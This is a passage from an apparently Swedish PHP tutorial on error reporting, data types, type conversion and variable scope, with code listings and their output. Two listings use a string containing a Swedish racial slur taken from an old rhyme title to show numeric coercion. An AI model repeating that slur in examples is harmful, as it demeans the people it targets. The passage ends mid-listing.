Listning 1.3.2.1 - samples/s22.php

OOPS. Kunde inte öppna filen
Resultat av listning 1.3.2.1

(Jag måste medge att jag tycker detta är en kul lösning. "Gör det eller DÖ". Inget tjafs där inte.. Man kan även använda ordet exit istället för die, men det är inte lika dramatiskt.)

error_reporting

Man kan ställa in olika nivåer av felhantering genom att använda error_reporting funktionen. Se nedan:

<?php

    
# stänger av all felhantering - ej rekommendabelt
    
error_reporting(0);
    echo
error_reporting() . "<br />";
    
    
# normal felhanteringsnivå - inte för noga och inte för slapp
    
error_reporting  (E_ERROR | E_WARNING | E_PARSE);
    echo
error_reporting() . "<br />";

    
# lämplig för utvecklingsmiljö
    
error_reporting (E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
    echo
error_reporting() . "<br />";

    
# alla fel och alla varningar - blir fort jobbig
    
error_reporting (E_ALL);
    
    echo
error_reporting() . "<br />";
?>
Listning 1.3.2.2 - samples/s23.php

0
7
15
2047
Resultat av listning 1.3.2.2

@

För enstaka rader kan man även använda @ som kopplar bort eventuella felmeddelande för den rad som börjar med detta tecken. Se exemplet på sidan "Specialare".

 

variabler.php

1.4 Variabler

PHP har inte starkt typsatta variabler som t.ex. Java eller C. Detta betyder inte att det inte finns datatyper. Se även variables *

Heltal (integer)

Man behöver inte säga åt PHP att en variabel är en heltalsvariabel, den märker det av sammanhanget. Se nedan:

<?php
    $nummer
= 100;
    echo
$nummer + 100;
    echo
"<br />";
    
# observera att nedanstående kommer att
    # tolkas som heltalsaddition
    
echo $nummer + "10 små negerpojkar";
?>
Listning 1.4.1 - samples/s24.php

200
110
Resultat av listning 1.4.1

Decimaltal (double)

Decimaltal måste anges med punkt (som vanligt).

<?php
    $nummer
= 100.34;
    echo
$nummer + 100;
    echo
"<br />";
    
# observera att nedanstående kommer att
    # tolkas som addition
    
echo $nummer + "10 små negerpojkar";
?>
Listning 1.4.2 - samples/s25.php

200.34
110.34
Resultat av listning 1.4.2

True / False (boolean)

<?php
    
# true och false är fördefinierade
    
$rätt = true;
    
$fel = false;
    if ( !
$fel == $rätt )
    {
        echo
"inte fel blir rätt";
    }
?>
Listning 1.4.3 - samples/s26.php

inte fel blir rätt
Resultat av listning 1.4.3

Strängar (string)

<?php
    
# hur variabeln tolkas beror lite på sammanhanget
    
$texten = "101 dalmatiner ";
    echo
$texten + 100;
    echo
"<br />";
    echo
$texten . 100;
?>
Listning 1.4.4 - samples/s27.php

201
101 dalmatiner 100
Resultat av listning 1.4.4

Tid och datum

Tid och datum är som vanligt ett mångfacetterat problem, så jag tar upp dessa separat. Tänkte bara påminna om att de finns.

Typkonverteringar

Ibland är det helt OK att kompilatorn tolkar datat och avgör vilken typ data är, men ibland vill man styra det själv. Det finns tre olika metoder att konvertera mellan datatyperna: settype, xxxval och casting. Nedan visas ett program som använder alla metoderna.

<?php
    $texten
= "39.3 graders feber";

    echo
"Texten okonverterad: " . $texten . "<br />";

    echo
"<br />Användning av settype<br />";
    echo
"-----------------------------------------------<br />";

    
settype( $texten, "double");
    echo
"Texten som double: " . $texten . "<br />";    
    
    
# modifierar ju datatypen så jag måste återställa variabeln
    
$texten = "39.3 graders feber";
    
settype( $texten, "integer");
    echo
"Texten som integer: " . $texten . "<br />";    

    
$texten = "39.3 graders feber";
    
settype( $texten, "string");
    echo
"Texten som string: " . $texten . "<br />";    

    echo
"<br />Användning av strval, doubleval och intval<br />";
    echo
"-----------------------------------------------<br />";

    
$texten = "39.3 graders feber";
    echo
"Texten som double: " . doubleval($texten) . "<br />";    
    
    echo
"Texten som integer: " . intval($texten) . "<br />";    

    echo
"Texten som string: " . strval($texten) . "<br />";    

    echo
"<br />Användning av C-liknande casting<br />";
    echo
"-----------------------------------------------<br />";

    
$texten = "39.3 graders feber";
    echo
"Texten som double: " . (double) $texten . "<br />";    
    
    echo
"Texten som integer: " . (integer) $texten . "<br />";    

    echo
"Texten som string: " . (string) $texten . "<br />";
?>
Listning 1.4.5 - samples/s29.php

Texten okonverterad: 39.3 graders feber

Användning av settype
-----------------------------------------------
Texten som double: 39.3
Texten som integer: 39
Texten som string: 39.3 graders feber

Användning av strval, doubleval och intval
-----------------------------------------------
Texten som double: 39.3
Texten som integer: 39
Texten som string: 39.3 graders feber

Användning av C-liknande casting
-----------------------------------------------
Texten som double: 39.3
Texten som integer: 39
Texten som string: 39.3 graders feber
Resultat av listning 1.4.5

 

scope.php

1.4.1 Räckvidd

Tag en titt på följande program:

<?php
    
# kommer att ge fel så jag kopplar bort all felhantering
    
error_reporting (0);

    
$siffra = 100;
    
    function
testarLite()
    {
        
$siffra = 0;
        
$texten = "Mångfald är bättre än enfald!";
        echo
"Skriver ut från funktionen<br />";
        echo
"\$siffra: " . $siffra . "<br />";
        echo
"\$texten: " . $texten . "<br />";
    }
    
# åberopa funktionen
    
testarLite();

    echo
"Skriver ut efter funktionen<br />";
    echo
"\$siffra: " . $siffra . "<br />";
    echo
"\$texten: " . $texten . "<br />";
?>
Listning 1.4.1.1 - samples/s28.php

Skriver ut från funktionen
$siffra: 0
$texten: Mångfald är bättre än enfald!
Skriver ut efter funktionen
$siffra: 100
$texten:
Resultat av listning 1.4.1.1

Observera att en variabel som skapas utanför en funktion inte syns i funktionen, och att en variabel som skapas i funktionen inte kommer att synas utanför funktionen. Det förstnämnda avviker från t.ex. VB, där globala variabler syns i alla funktioner.

För att komma åt globala variabler kan man skriva ordet global. Se nedanstående kod:

 

<?php

    $siffra
= 100;

    function
testarLite()
    {
        
# genom att skriva global före ett variabelnamn
        # så säger man att denna är global och skall
        # kommas åt i funktionen
        
global $siffra;

        
# man kan även skapa globala variabler i en funktion
        # men det är oftast en dålig idé
        
global $texten;
        
$texten = "HEPP";
        echo
"Skriver ut från funktionen<br />";
        echo
"\$siffra: " . $siffra . "<br />";
        echo
"\$texten: " . $texten . "<br />";
        
$siffra = 0;
    }
    
# åberopa funktionen
    
testarLite();

    echo
"Skriver ut efter funktionen<br />";
    echo
"\$siffra: " . $siffra . "<br />";
    echo
"\$texten: " . $texten . "<br />";
?>
Listning 1.4.1.2 - samples/s30.php

Skriver ut från funktionen
$siffra: 100
$texten: HEPP
Skriver ut efter funktionen
$siffra: 0
$texten: HEPP
Resultat av listning 1.4.1.2

En annan möjlighet är att använda sig av GLOBALS kollektionen enligt nedanstående exempel:

<?php

    $siffra
= 100;

    function
testarLite()
    {
        echo
"Skriver ut från funktionen<br />";

        
$GLOBALS["texten"] = "KALLE ";
        echo
"\$siffra: " . $GLOBALS["siffra"